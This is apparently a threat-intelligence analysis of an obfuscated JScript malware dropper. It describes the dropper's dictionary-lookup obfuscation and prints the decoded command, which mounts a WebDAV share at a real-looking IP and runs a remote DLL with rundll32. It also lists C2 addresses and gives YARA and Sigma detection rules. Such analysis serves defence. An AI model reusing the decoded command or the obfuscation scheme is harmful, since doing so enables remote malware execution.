unclassified-js-webdav-dropper: dbdb99f1 — 2,337-char noise-variable JScript dropper, PowerShell-rundll32 chain

Executive Summary

3 MB JScript dropper using a 62-entry noise-key dictionary lookup table with a 2,337-character extreme variable-name padding (second-longest observed in the family). Decodes to a WScript.Shell.Run invocation of powershell.exe -EncodedCommand that mounts a WebDAV share at 94.159.113.86:8888 and executes the remote DLL via rundll32 ...,Entry. No sandbox gate, no decoy, no persistence. Static-only — CAPE skipped JScript files.

What It Is

The file is a single line of JScript. The first 2,337 characters are a single lowercase noise string that serves as the object/variable name for the entire payload. ^[strings.txt:1]

How It Works

Obfuscation Engine

1. Variable declaration: A 2,337-character random lowercase alphabetic string is declared as an empty array: varname=[]; ^[strings.txt:1]
2. Dictionary population: 62 assignments of the form varname['noise_string']='char' populate the lookup table. Each noise key is a 200–500 character lowercase alphabetic string with embedded English word fragments (e.g. beautifulsmart, becomingyarn, subsequentcreepyhospital, ghostcheatxray, middleclammymonkey, battlepencil, hurteatable, jaggedviolenteggnog, storyreturnirate). ^[strings.txt:1]
3. Payload assembly: The expression Function(''+varname['key1']+varname['key2']+...) concatenates 415 dictionary lookups to form two strings:
   • Inner Function body (10 chars): returnthis — evaluates to the global object via Function('return this')()
   • Rest of expression (405 chars): property/method calls assembled via bracket notation on the global object: WScriptCreateObjectWScriptShellrunpowershellEncodedCommand<BASE64>
4. Execution: The assembled string evaluates to WScript.CreateObject("WScript.Shell").Run("powershell -EncodedCommand ...", 0, false) ^[floss.txt] (floss error — static extraction via manual decode)

Decoded Payload

The PowerShell -EncodedCommand payload (UTF-16 LE Base64) decodes to:

timeout 1;cmd /c net use \\94.159.113.86@8888\davwwwroot\;cmd /c rundll32 \\94.159.113.86@8888\davwwwroot\14504120249470.dll,Entry

• timeout 1 — 1-second delay before execution (anti-emulation / timing gate)
• net use — mounts WebDAV share at 94.159.113.86:8888
• rundll32 ...,Entry — loads and executes 14504120249470.dll from the remote share

C2 Infrastructure

The .86 address is in the same 94.159.113.0/24 subnet as prior siblings: .79 (fe261d49, d53e312c, be172014), .82 (f8dce7df), .84 (fbdd83ad, c4670e86), and .204 (fa8c6d74). ^[entities/unclassified-js-webdav-dropper.md]

Interesting Tidbits

• Second-longest variable name in the family at 2,337 characters. The record remains f8dce7df at 2,478 characters. The third-longest is fe261d49 at 1,794 characters. ^[entities/unclassified-js-webdav-dropper.md]
• No PowerShell wrapper around rundll32 — unlike most 94.159.113.x siblings that use regsvr32 /s, this sample and ff3c6d0c (the other .86 sibling) both use rundll32 ...,Entry directly inside the PowerShell command. This suggests the .86 infrastructure may be configured for rundll32 entry-point execution rather than COM registration.
• timeout 1 delay — a new anti-emulation artifact not observed in prior 77 siblings. Adds a 1-second sleep before the net use mount.
• No sandbox gate, no decoy, no persistence — one-shot execution. Common to the dictionary-lookup dialect.
• 3 MB file size — unusually large for this family (most dictionary siblings are 5–50 KB). The bloat is entirely due to the 2,337-char variable name repeated hundreds of times in the concatenation expression.

Deployable Signatures

YARA Rule

rule JS_WebDAV_Dropper_Dictionary_NoiseKey {
    meta:
        description = "JScript WebDAV dropper with noise-key dictionary lookup table"
        author = "PacketPursuit"
        family = "unclassified-js-webdav-dropper"
        reference = "dbdb99f1b223e7e4e8723c0fc25a319b0241407dacdc34279ae472729cedc7b5"
    strings:
        $func = "Function('" nocase
        $dav = "davwwwroot" nocase
        $net_use = "net use" nocase
        $rundll = "rundll32" nocase
        $encoded = "EncodedCommand" nocase
        $pattern1 = /=[\]]\;[a-z]{200,}\[\'/  // varname=[];noise['pattern
        $pattern2 = /\]\+'\)\(\)\['/         // end of Function body, start of rest
    condition:
        $func and $dav and 2 of ($net_use, $rundll, $encoded) and ($pattern1 or $pattern2)
}

Sigma Rule

title: WebDAV DLL Execution via JScript Dropper
logsource:
    category: process_creation
    product: windows
detection:
    selection1:
        CommandLine|contains:
            - 'powershell'
            - 'EncodedCommand'
            - 'davwwwroot'
    selection2:
        CommandLine|contains:
            - 'rundll32'
            - 'regsvr32 /s'
        CommandLine|contains: 'davwwwroot'
    selection3:
        ParentImage|endswith: 'wscript.exe'
        CommandLine|contains: 'powershell'
    condition: selection1 or selection2 or selection3
falsepositives:
    - Legitimate WebDAV administrative scripts
level: high

IOC List

Behavioral Fingerprint

This JScript dropper family is characterized by a dictionary lookup table of 36–100 entries mapping long noise strings or English phrases to single characters. The payload is assembled via Function('return this')() global-object construction followed by bracket-notation property access to build a WScript.Shell.Run call. Runtime behavior: wscript.exe spawns powershell.exe -EncodedCommand with a UTF-16 LE Base64 payload that runs cmd /c net use to mount a WebDAV share, then regsvr32 /s or rundll32 ...,Entry to load a remote DLL. No persistence, no decoy, no sandbox gate. File sizes range from 5 KB to 3 MB depending on variable-name padding volume.

Deploy / ATT&CK

References

• Artifact ID: 70a95936-119b-4ebc-a826-414e24f72dd7 ^[metadata.json]
• Source: OpenCTI / MalwareBazaar
• Related sibling: ff3c6d0c — same C2 IP 94.159.113.86:8888, also uses rundll32 ...,Entry ^[entities/unclassified-js-webdav-dropper.md]

Provenance

• file.txt — file(1) output ^[file.txt]
• metadata.json — OpenCTI artifact metadata ^[metadata.json]
• strings.txt — raw strings (single line, 3 MB noise payload) ^[strings.txt:1]
• dynamic-analysis.md — CAPE skipped (JScript not a supported binary class) ^[dynamic-analysis.md]
• Manual deobfuscation via Python regex extraction of dictionary assignments and Function() payload assembly, verified by UTF-16 LE Base64 decode of PowerShell -EncodedCommand argument.